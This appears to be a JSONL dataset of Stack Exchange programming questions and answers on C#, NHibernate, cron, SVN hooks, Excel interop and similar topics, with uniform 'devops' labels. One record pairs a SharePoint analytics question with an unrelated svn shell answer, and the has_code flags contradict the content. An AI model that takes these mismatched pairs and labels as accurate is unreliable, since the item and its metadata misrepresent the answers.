{"id": "hf_b1e75d421ff6", "question": "<p>If I had a phone number like this  </p>\n\n<pre><code>string phone = \"6365555796\";\n</code></pre>\n\n<p>Which I store with only numeric characters in my database <strong>(as a string)</strong>, is it possible to output the number like this:  </p>\n\n<pre><code>\"636-555-5796\"\n</code></pre>\n\n<p>Similar to how I could if I were using a number:  </p>\n\n<pre><code>long phone = 6365555796;\nstring output = phone.ToString(\"000-000-0000\");\n</code></pre>\n\n<p>I've tried searching and all I could find online were numeric formatting documents.</p>\n\n<p>The reason I ask is because I think it would be an interesting idea to be able to store only the numeric values in the DB and allow for different formatting using a Constant string value to dictate how my phone numbers are formatted. Or am I better off using a number for this?</p>\n\n<p>EDIT: The question is to format a string that contains numbers, not a number itself.</p>\n", "question_body": "", "answer": "Why not just do something like this?\n```\n```\nstring phoneText = \"6365555796\";\nlong phoneNum = long.Parse(phoneText);\nstring output = phoneNum.ToString(\"000-000-0000\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:35.443863"}
{"id": "hf_f3d41ac1399f", "question": "<p>I am implementing NHibernate into an existing web application. However, we have some other processes that do bulk inserting and updating on the database. How can I make NHibernate aware that changes are occurring on the backend db that were not initiated through NHibernate?</p>\n\n<p>Most of the info that I have read around NHibernate use in asp.net have mentioned storing the Session object in the HttpContext or CallContext. This would then store the session object for the duration of the application lifecycle. This is what I have implemented. I was afraid of the costs of initializing NHibernate on each request. Isn't there a significant performance hit with this approach with initializing the Session object on each request?</p>\n\n<p>Also, would it make more sense to store the SessionFactory in the the HttpContext or CallContext so that the mappings don't have to be regenerated on each request?</p>\n", "question_body": "", "answer": "You shouldn't. NHibernate sessions are there to help you work in an ACID environment, which means that one transaction is not aware of any concurrent transactions. You should be using short sessions which do small sets of actions. You should not be holding sessions open for long periods of time. If you do need long periods of time for working with domain objects, then you should be detaching and then re-attaching the domain objects from and to different sessions.\nOnce you open a new session, any changes done to the database before the session was opened will be made available through NHibernate.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:35.556520"}
{"id": "hf_bd9d745dff6f", "question": "<p>I've got a Excel VSTO 2005 application I need to debug, I've tried attaching to the process EXCEL.EXE in Visual Studio 2005 to no avail.</p>\n\n<p>Does anyone know what to do in order to debug managed code running in a VSTO Excel Application?</p>\n", "question_body": "", "answer": "I haven't worked with Excel, but with VSTO in Word, attaching the debugger to the WINWORD process works, but makes it impossible to debug startup code, as it has already ran before you can attach.  In this case you can insert\n```\n```\nDebugger.Launch();\n```\n```\nwhich will stop your code and ask to attach a debugger.  It's about the best solution I could find.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:35.616198"}
{"id": "hf_93882920bfbd", "question": "<p>Is there a better way to implement copy construcor for matlab for a handle derived class other than adding a constructor with one input and explicitly copying its properties?</p>\n\n<pre><code>obj.property1 = from.property1;  \nobj.property2 = from.property2;\n</code></pre>\n\n<p>etc.</p>\n\n<p>Thanks,\nDani</p>\n", "question_body": "", "answer": "If you want a quick-and-dirty solution that assumes all properties can be copied, take a look at the PROPERTIES function.  Here's an example of a class that automatically copies all properties:\n```\n```\nclassdef Foo < handle\n  properties\n    a = 1;\n  end\n  methods\n    function F=Foo(rhs)\n      if nargin==0\n        % default constructor\n        F.a = rand(1);\n      else\n        % copy constructor\n        fns = properties(rhs);\n        for i=1:length(fns)\n          F.(fns{i}) = rhs.(fns{i});\n        end\n      end\n    end\n  end\nend\n```\n```\nand some test code:\n```\n```\nf = Foo(); [f.a Foo(f).a] % should print 2 floats with the same value.\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:35.640626"}
{"id": "hf_ad9921eb2c67", "question": "<p>How exactly can one implement a Log off function when using ASP.NET Forms Authentication on an intranet application?</p>\n\n<p>How will this work if I am an administrator and want to log in \"as someone else\" into the application?</p>\n\n<p>Please share your ideas</p>\n", "question_body": "", "answer": "```\nFormsAuthentication.SignOut();\n```\n;)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:35.668011"}
{"id": "hf_1384decbbd83", "question": "<p>A path in Perforce contains files a.txt and b.txt. I'll refer to the main path as mainline.</p>\n\n<p>I've create a branch (called initialbranch) from there which contains just a.txt. I make lots of changes to a.txt, and am very happy with it. However, it's not yet ready for submitting back to mainline. I can easily integrate any changes to a.txt that occur in mainline.</p>\n\n<p>Another project comes along, which needs the changes from initialbranch. Now, say I want to make changes to b.txt, and want to be able to integrate changes that happen both in initialbranch and in mainline. At present, I'm branching from initialbranch (call this new branch secondbranch). Previously I've been adding b.txt to initialbranch, and then integrating my changes across to secondbranch. Is there a nicer way to do this?</p>\n\n<p>Sorry if this question seems somewhat convoluted, I've expressed it as best I can!</p>\n\n<p>Thanks,</p>\n\n<p>Dom</p>\n", "question_body": "", "answer": "I'm not convinced I understand your question, but I'll try to help.\nIf you're saying that you don't really want b.txt in initialbranch, you can define a branch specification like this:\n```\n```\ninitialbranch/a.txt secondbranch/a.txt\nmainline/b.txt secondbranch/b.txt\n```\n```\nThat way, when you integrate using the \"secondbranch\" branch spec, your changes in secondbranch will get pushed to initialbranch or mainline.\nIf you don't want to push changes directly from secondbranch to mainline, then do what it sounds like you are already doing: integrate b.txt from mainline to initialbranch, then from initialbranch to secondbranch. Work on it in secondbranch, then integrate the changes successively back to initialbranch and mainline.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:35.763895"}
{"id": "hf_9d509689ddef", "question": "<p>I've editing this original question as I think I've narrowed down the problem...</p>\n\n<p>I have one view in my site that will not let me put $document.ready within a masterpage contentplaceholder. I've stripped this page to the bare bones and the only thing that is special about it is it has a custom route in global.asax</p>\n\n<pre><code> routes.MapRoute(\"Books\",\n                 \"{controller}/{action}/{keywords}/{pageNumber}\",\n                  new { controller = \"Books\", action = \"SearchResults\" }\n                 );\n</code></pre>\n\n<p>Any idea why this custom route would stop $document.ready working correctly when put in a masterpages contentplaceholder zone?</p>\n", "question_body": "", "answer": "Your master page (or view page if you're not using master pages) needs to reference jquery.  This is included in the latest Beta release of the MVC framework.\nCheck to make sure you have jQuery included in the  tag of your page.\ncheck the syntax as well...\n```\n```\n$(document).ready(function() { alert('loaded'); });\n```\n```\nthese shortened versions also work:\n```\n```\n$().ready(function() { alert('loaded'); });\n$(function() { alert('loaded'); });\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:35.859103"}
{"id": "hf_11100779c791", "question": "<p>I'm trying filter the child collection of an aggregate root when loading it with Nhibernate.  Load a Customer with all their Orders that have been shipped.  Is this possible?</p>\n", "question_body": "", "answer": "Well, you can expose properties that are filtered in the map, like so:\n```\n```\n<bag name=\"shippedOrders\" ... where=\"Status == 'Shipped'\" >\n   <key column=\"CustomerId\" />\n   <one-to-many class=\"Order\" />\n</bag>\n```\n```\nThe 'where' attribute is arbitrary SQL.\nTheoretically you could have two properties of Customer, Orders and ShippedOrders.  However, I should say that I have not done this, and I would want to test how NH handles cascading in this case.  In any case, you will have to take care when new items are added/removed that they are added/removed correctly to both collections.\nThe fact that you want to do this makes we wonder if Order is an aggregate root.  It might be less trouble in the long run doing it like this:\n```\n```\norderRepository.GetOrders(int customerId, OrderStatus[] statuses)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:35.929818"}
{"id": "hf_35836cb38c0b", "question": "<p>I'm trying to use xcodebuild and OCUnit with my Continuous Integration server (<a href=\"http://www.jetbrains.com/teamcity/\" rel=\"noreferrer\">TeamCity</a>).  </p>\n\n<p>JetBrains offers test observer implementations for boost::test and CppUnit that format test output in a way that TeamCity can interpret.  I need to do something similar for OCUnit if I want to use it.</p>\n\n<p>There appears to be a SenTestObserver class in OCUnit but I'm ignorant of how exactly it should be used, and the <a href=\"http://www.sente.ch/software/ocunit/\" rel=\"noreferrer\">OCUnit homepage</a> doesn't seem to provide any documentation on the matter.</p>\n", "question_body": "", "answer": "You can write your own observer by extending the SenTestObserver class and implementing the notification listeners\n(void) testSuiteDidStart:(NSNotification *) aNotification\n(void) testSuiteDidStop:(NSNotification *) aNotification\n(void) testCaseDidStart:(NSNotification *) aNotification\n(void) testCaseDidStop:(NSNotification *) aNotification\n(void) testCaseDidFail:(NSNotification *) aNotification\nthen add an entry to the info.plist SenTestObserverClass with the name of your class.\nAt least in the version of OCUnit i'm familiar with SenTestObserver is equal parts useful/equal parts broken. I just skip it altogether and register for the notifications myself in my own class. (see SenTestSuiteRun.h and SenTestCaseRun.h for the defines of the notification names).\nYou can use the test and run properties of the notification to access the SenTestSuite and SenTestSuiteRun instances, and the run instance contains the info needed on the actual results.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:35.976271"}
{"id": "hf_bf4903d33e09", "question": "<p>How can I set cron to run certain commands every one and a half hours?</p>\n", "question_body": "", "answer": "Is there a good reason why you can't use 1 hour or 2 hours? It would be simpler for sure.\nI haven't tried this personally, but you can find some info here on getting cron to run every 90 minutes:\nhttp://keithdevens.com/weblog/archive/2004/May/05/cron\nAn excert from the above link:\n```\n```\n0 0,3,6,9,12,15,18,21 * * * <commands>\n30 1,4,7,10,13,16,19,22 * * * <commands>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:36.012390"}
{"id": "hf_230b5408fb7a", "question": "<p>SSIS 2005/2008 does fuzzy lookups and groupings.  Is there a feature that does the same in T-SQL?</p>\n", "question_body": "", "answer": "SQL Server has a SOUNDEX() function:\n```\n```\nSELECT * \nFROM Customers\nWHERE SOUNDEX(Lastname) = SOUNDEX('Stonehouse')\nAND SOUNDEX(Firstname) = SOUNDEX('Scott')\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:36.035458"}
{"id": "hf_21ad6004a3ce", "question": "<p>I need to use C# programatically to append several preexisting <code>docx</code> files into a single, long <code>docx</code> file - including special markups like bullets and images.  Header and footer information will be stripped out, so those won't be around to cause any problems.</p>\n\n<p>I can find plenty of information about manipulating an individual <code>docx</code> file with .NET Framework 3, but nothing easy or obvious about how you would merge files.  There is also a third-party program (Acronis.Words) that will do it, but it is prohibitively expensive.</p>\n\n<h2>Update:</h2>\n\n<p>Automating through Word has been suggested, but my code is going to be running on ASP.NET on an IIS web server, so going out to Word is not an option for me.  Sorry for not mentioning that in the first place.</p>\n", "question_body": "", "answer": "I wrote a little test app a while ago to do this. My test app worked with Word 2003 documents (.doc) not .docx, but I imagine the process is the same - I should think all you'd have to change is to use a newer version of the Primary Interop Assembly. This code would look a lot neater with the new C# 4.0 features...\n```\n```\nusing System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Text;\n\nusing Microsoft.Office.Interop.Word;\nusing Microsoft.Office.Core;\nusing System.Runtime.InteropServices;\nusing System.IO;\n\nnamespace ConsoleApplication1\n{\n    class Program\n    {\n        static void Main(string[] args)\n        {\n            new Program().Start();\n        }\n\n        private void Start()\n        {\n            object fileName = Path.Combine(Environment.CurrentDirectory, @\"NewDocument.doc\");\n            File.Delete(fileName.ToString());\n\n            try\n            {\n                WordApplication = new ApplicationClass();\n                var doc = WordApplication.Documents.Add(ref missing, ref missing, ref missing, ref missing);\n                try\n                {\n                    doc.Activate();\n\n                    AddDocument(@\"D:\\Projects\\WordTests\\ConsoleApplication1\\Documents\\Doc1.doc\", doc, false);\n                    AddDocument(@\"D:\\Projects\\WordTests\\ConsoleApplication1\\Documents\\Doc2.doc\", doc, true);\n\n                    doc.SaveAs(ref fileName,\n                        ref missing, ref missing, ref missing, ref missing,     ref missing,\n                        ref missing, ref missing, ref missing, ref missing, ref missing,\n                        ref missing, ref missing, ref missing, ref missing, ref missing);\n                }\n                finally\n                {\n                    doc.Close(ref missing, ref missing, ref missing);\n                }\n            }\n            finally\n            {\n                WordApplication.Quit(ref missing, ref missing, ref missing);\n            }\n        }\n\n        private void AddDocument(string path, Document doc, bool lastDocument)\n        {\n            object subDocPath = path;\n            var subDoc = WordApplication.Documents.Open(ref subDocPath, ref missing, ref missing, ref missing,\n                ref missing, ref missing, ref missing, ref missing, ref missing,\n                ref missing, ref missing, ref missing, ref missing, ref missing,\n                ref missing, ref missing);\n            try\n            {\n\n                object docStart = doc.Content.End - 1;\n                object docEnd = doc.Content.End;\n\n                object start = subDoc.Content.Start;\n                object end = subDoc.Content.End;\n\n                Range rng = doc.Range(ref docStart, ref docEnd);\n                rng.FormattedText = subDoc.Range(ref start, ref end);\n\n                if (!lastDocument)\n                {\n                    InsertPageBreak(doc);\n                }\n            }\n            finally\n            {\n                subDoc.Close(ref missing, ref missing, ref missing);\n            }\n        }\n\n        private static void InsertPageBreak(Document doc)\n        {\n            object docStart = doc.Content.End - 1;\n            object docEnd = doc.Content.End;\n            Range rng = doc.Range(ref docStart, ref docEnd);\n\n            object pageBreak = WdBreakType.wdPageBreak;\n            rng.InsertBreak(ref pageBreak);\n        }\n\n        private ApplicationClass WordApplication { get; set; }\n\n        private object missing = Type.Missing;\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:36.115708"}
{"id": "hf_3a959bde5e1c", "question": "<p>While the built-in analytics of MOSS2007 are nice to have - they are inadequate at the same time. Any ideas where I can look for a more comprehensive package? Am I missing something?</p>\n\n<p>Thanks,\nCarl</p>\n", "question_body": "", "answer": "I had similar problem, it can be done like this:\n```\nrm -f error_marker_file\nexport var=`svn ls || touch error_marker_file`\n\n[ -f error_marker_file ] && echo \"error in executing svn ls\"\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:36.189007"}
{"id": "hf_ed779ede0447", "question": "<p>I am using JSF frontend for a page where an image is uploaded or deleted. Clicking on the upload or delete button causes a postback and the page to reload with the updated status. This however, resets the scroll position of the page. How should I go about retaining the scrollback of this page on the postback actions.</p>\n", "question_body": "", "answer": "If you are using Apache MyFaces Tomahawk, you can set the parameter AUTOSCROLL then make sure AutoScrollPhaseListener is enabled.\nI'm not sure this functionality is specified by JSF, but instead is something extra implemented by Apache MyFaces Tomahawk.\nAlso, be aware that prior to version 1.1.6, there is a cross-site scripting vulnerability in the AUTOSCROLL implementation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:36.268702"}
{"id": "hf_ac6894ccbf5c", "question": "<p>I want to detect whether module has changed. Now, using inotify is simple, you just need to know the directory you want to get notifications from.</p>\n\n<p>How do I retrieve a module's path in python?</p>\n", "question_body": "", "answer": "This was trivial.\nEach module has a\n```\n__file__\n```\nvariable that shows its relative path from where you are right now.\nTherefore, getting a directory for the module to notify it is simple as:\n```\n```\nos.path.dirname(__file__)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:36.304408"}
{"id": "hf_3497a9492bac", "question": "<p>I have this doubt, I've searched the web and the answers seem to be diversified. Is it better to use mysql_pconnect over mysql_connect when connecting to a database via PHP? I read that pconnect scales much better, but on the other hand, being a persistent connection... having 10 000 connections at the same time, all persistent, doesn't seem scalable to me.</p>\n\n<p>Thanks in advance.</p>\n", "question_body": "", "answer": "It's very unlikely that you'll reach 10000 connections. Anyhow, go to the\nofficial source\n. (Emphasis mine).\nIf persistent connections don't have\n  any added functionality, what are \n  they good for?\nThe answer here is extremely simple --\n  efficiency. Persistent connections are\n  good if the overhead to create a link\n  to your SQL server is high. Whether or\n  not this overhead is really high\n  depends on many factors. Like, what\n  kind of  database it is, whether or\n  not it sits on the same computer on\n  which your  web server sits, how\n  loaded the machine the SQL server sits\n  on is and so  forth.\nThe bottom line\n  is that if that connection overhead is\n  high,  persistent connections help you\n  considerably\n. They cause the child\n  process  to simply connect only once\n  for its entire lifespan, instead of\n  every  time it processes a page that\n  requires connecting to the SQL server.\n  This means that for every child that\n  opened a persistent connection will \n  have its own open persistent\n  connection to the server. For example,\n  if you  had 20 different child\n  processes that ran a script that made\n  a persistent  connection to your SQL\n  server, you'd have 20 different\n  connections to  the SQL server, one\n  from each child.\nNote, however, that this can have some\n  drawbacks if you are using a  database\n  with connection limits that are\n  exceeded by persistent child \n  connections. If your database has a\n  limit of 16 simultaneous connections, \n  and in the course of a busy server\n  session, 17 child threads attempt  to\n  connect, one will not be able to. If\n  there are bugs in your scripts  which\n  do not allow the connections to shut\n  down (such as infinite loops),  the\n  database with only 16 connections may\n  be rapidly swamped. Check your\n  database documentation for information\n  on handling abandoned or  idle\n  connections.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:36.429799"}
{"id": "hf_4f51fb2012b3", "question": "<p>Multimap essentially has groups of data sorted by the key. I want a method by which I could access these individual groups and get their aggregate values.\nFor example, in a <code>std::multimap&lt; string, int &gt;</code> I store </p>\n\n<pre><code>{\"Group1\", 1}, \n{\"Group1\", 2}, \n{\"Group1\", 3}, \n\n{\"Group2\", 10}, \n{\"Group2\", 11}, \n{\"Group2\", 12}\n</code></pre>\n\n<p>Having stored these values, I should be able to iterate this multimap and get the aggregate values of each \"group\". Problem is there aren't any functions defined in STL to access MultiMaps in such a way. I could use <code>lower_bound</code>, <code>upper_bound</code> to manually iterate the multimap and total the group's contents, but I am hoping there could be better ways already defined in STL ? Can anyone propose a solution as to how I could get the aggregate values for a group in the above example.</p>\n", "question_body": "", "answer": "If you already know the keys, you can use\n```\nmultimap::equal_range\n```\nto get the iterators to the beginning and end of the group; use any standard algorithm to get the desired results from the range.  If you don't know the keys, you can start at\n```\nbegin()\n```\nand iterate through them yourself, comparing keys to find the start of each new group.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:36.454008"}
{"id": "hf_a6fd781f4373", "question": "<p>I have an application built in Flex Builder 3.  It has a fair amount of mxml and as3 code which uses some other custom compenents.  I have looked at the documentation on building components which shows how to make a simple mxml or action script component that extends something like a combobox, but I'm lost as to how to take a whole existing and independently functioning Application and turn it into a reusable component. </p>\n\n<p>Basically, I'd just like to create multiple instances of this app inside of another flex project.</p>\n\n<p>Anyone able to provide a little guidance?</p>\n", "question_body": "", "answer": "If you simply want some \"parent\" Flex application to embed several instances of this autonomous child application, then you should see Adobe's\n\"Embedding Asset Types\"\ndocumentation, which describes how to embed one SWF file in another.\nFrom the documentation:\nYou typically embed a Flex application\n  when you do not require the embedding\n  application to interact with the\n  embedded application. If the embedding\n  application requires interactivity\n  with the embedded application, you\n  might consider implementing it as a\n  custom component, rather than as a\n  separate application.\nIf you\ndo\nrequire interaction between the embedded application and the parent application, you can look into the\nSWFLoader\ncontrol.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:36.476899"}
{"id": "hf_b6d83607b0ff", "question": "<p>I have a Visual Basic .NET program which needs to open and close an Excel spreadsheet.  Opening and reading the spreadsheet work fine, but trying to close the Excel 2007 application causes it to hang.  It seems to close, but if you look in the task manager the application is still running.  The code that I'm using to close it is</p>\n\n<pre><code>wbkData.Close(saveChanges:=False)\nappExcel.Quit()\nwbkData = Nothing\nappExcel = Nothing\n</code></pre>\n\n<p>How can I get Excel to close properly?</p>\n", "question_body": "", "answer": "I found a\nsolution in the MSDN Excel Blog\nwhich worked for me.  It's explained as\nThere are two problems with the above:\n(1) Although the code appears to\n  dispose of the 'wbkData' object first,\n  etc., the code above does not actually\nenforce\nthis as the .NET Garbage Collection procedure can dispose of\n  its objects in any order. (GC is\n  non-deterministic in order, not just\n  non-deterministic in timing.)\n(2) Commands such as 'wsh =\n  wbkData.Workssheets.Item(1)' -- or\n  lines like it -- are very common and\n  will create an RCW object wrapping a\n  'Worksheets' object. You won't have a\n  variable holding a reference to it, so\n  you don't generally think about it,\n  but this RCW object will not be\n  disposed until the next Garbage\n  Collection. However, the code above\n  calls GC.Collect()\nlast\n, and so the\n  RCW is still holding a reference to\n  this 'Worksheets' object when\n  appExcel.Quit() is called. Excel hangs\n  as a result.\nThe final code looks like\n```\n```\nGC.Collect()\nGC.WaitForPendingFinalizers()\n\nwbkData.Close(SaveChanges:=False)\nSystem.Runtime.InteropServices.Marshal.FinalReleaseComObject(wbkData) : wbkData = Nothing\nappExcel.Quit()\nSystem.Runtime.InteropServices.Marshal.FinalReleaseComObject(appExcel) : appExcel = Nothing\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:36.501665"}
{"id": "hf_1ba91c0a81f0", "question": "<pre><code>List&lt;String&gt; nameList = new List&lt;String&gt;();\nDropDownList ddl = new DropDownList();\n</code></pre>\n\n<p>List is populated here, then sorted:</p>\n\n<pre><code>nameList.Sort();\n</code></pre>\n\n<p>Now I need to drop it into the dropdownlist, which is where I'm having issues (using foreach):</p>\n\n<pre><code>foreach (string name in nameList){\n    ddl.Items.Add(new ListItem(nameList[name].ToString()));\n}\n</code></pre>\n\n<p>No workie - any suggestions? It's giving me compile errors:</p>\n\n<pre><code>Error - The best overloaded method match for 'System.Collections.Generic.List&lt;string&gt;.this[int]' has some invalid arguments \n\nError - Argument '1': cannot convert from 'string' to 'int'\n</code></pre>\n", "question_body": "", "answer": "Why not just bind the DDL directly to the List like\n```\n```\nDropDownList ddl = new DropDownList();\nddl.DataSource = nameList;\nddl.DataBind();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:36.551338"}
{"id": "hf_308c60fa0057", "question": "<p>In T-SQL, you can do this:</p>\n\n<pre><code>SELECT ProductId, COALESCE(Price, 0)\nFROM Products\n</code></pre>\n\n<p>How do you do the same thing in Access SQL?  I see examples for doing it with Nz in VBA, but I'm looking for the SQL equivalent.</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "Access supports the\n```\nNz\n```\nfunction and allows you to use it in a query.  Note though that\n```\nNz\n```\nis the same as the T-SQL\n```\nISNULL\n```\nfunction.  It can not take an arbitrary number of parameters like\n```\nCOALESCE\n```\ncan.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:36.592029"}
{"id": "hf_d9ed2bc82aee", "question": "<p>When is memory allocated in the .NET compact framework? If there is a difference between value and reference types, please detail. Documentation or steps to confirm are appreciated.</p>\n\n<p>In particular, consider this scenario...</p>\n\n<pre><code>private MyClass item;  // here?\n\npublic void MyMethod()\n{\n    item = new MyClass();  // or here?\n}\n</code></pre>\n", "question_body": "", "answer": "There are 3 different ways memory is allocated.\nStatic:\nThese are bound and allocated at compile time. Global static variables for example.\nStack Dynamic:\nThese are bound during runtime and pushed onto the stack. Such as a local variable in a function call.\nHeap Dynamic:\nNow heap dynamic also has a few different 'sub categories' such as implicit and explicit, but I won't go into that detail.\nWhen you declare\n```\n```\nprivate MyClass item;  // here?\n```\n```\na reference to MyClass is pushed onto the stack. It is only a reference and nothing more. Its value is null at that point.\n```\n```\npublic void MyMethod()\n{\n    item = new MyClass();  // or here?\n}\n```\n```\nIt is at that point where memory is explicitly allocated on the heap by calling 'new MyClass()' and item then references it.\nSo in actuality, you have 2 variables after you call MyMethod. A refernce type named item, and an unnamed variable on the heap which item references that is of type MyClass.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:36.628434"}
{"id": "hf_94f1ff6eb41d", "question": "<p>We've got VisualSVN Server set up as our Subversion server on Windows, and we use Ankhsvn + TortoiseSVN as clients on our workstations.</p>\n\n<p>How can you configure the server to require commit messages to be non-empty?</p>\n", "question_body": "", "answer": "VisualSVN Server 3.9 provides the\n```\nVisualSVNServerHooks.exe check-logmessage\n```\npre-commit hook that helps you reject commits with empty or short log messages. See the article\nKB140: Validating commit log messages in VisualSVN Server\nfor instructions.\nBesides the built-in\n```\nVisualSVNServerHooks.exe\n```\n, VisualSVN Server and SVN in general uses a\nnumber of hooks\nto accomplish tasks like this.\n```\nstart-commit\n```\n— run before commit transaction begins, can be used to do special permission checking\n```\npre-commit\n```\n— run at the end of the transaction, but before commit. Often used to validate things such as a non zero length log message.\n```\npost-commit\n```\n— runs after the transaction has been committed. Can be used for sending emails, or backing up repository.\n```\npre-revprop-change\n```\n— runs before a revision property change. Can be used to check permissions.\n```\npost-revprop-change\n```\n— runs after a revision property change. Can be used to email or backup these changes.\nYou need to use the\n```\npre-commit\n```\nhook. You can write it yourself in just about any language your platform supports, but there are a number of scripts on the web. Googling \"svn precommit hook to require comment\" I found a couple that looked like they would fit the bill:\nPerl Script\nPython Script", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:36.652574"}
{"id": "hf_cf9d973031c1", "question": "<p>I have a lot of constants that are somehow related, at some point I need to pair them, something like this:</p>\n\n<pre><code>const\n  key1 = '1';\n  key2 = '2';\n  key3 = '3';\n\n  value1 = 'a';\n  value2 = 'b';\n  value3 = 'c';\n</code></pre>\n\n<p>I want to avoid doing:</p>\n\n<pre><code>if MyValue = key1 then Result := value1;\n</code></pre>\n\n<p>I know how to do it with string lists using:</p>\n\n<pre><code>MyStringList.Add(key1 + '=' + value1);\nResult := MyStringList.Values[key1];\n</code></pre>\n\n<p>But, is there any simpler way to do this?</p>\n", "question_body": "", "answer": "Yes, assignment can be done this way instead, avoiding manual string concatenation:\n```\n```\nMyStringList.Values[Key1] := Value1;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:36.702145"}
